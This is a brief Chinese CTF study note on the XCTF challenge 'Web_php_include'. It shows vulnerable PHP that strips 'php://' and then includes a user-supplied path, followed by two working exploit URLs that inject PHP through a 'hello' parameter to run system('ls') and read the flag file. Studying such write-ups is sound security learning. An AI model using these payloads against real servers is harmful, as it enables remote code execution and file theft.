「配枪朱丽叶。」

RootのCTF学习笔记。

XCTF-Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

审计php代码,while函数根据page参数来判断php文件是否存在,如果存在此文件,则进行文件包含。
默认页面为http://127.0.0.1/index.php,设置为page值,可确保while为真
利用hello参数将执行内容显示

http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?system(%22ls%22);?%3E
http://192.168.100.161:50281/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E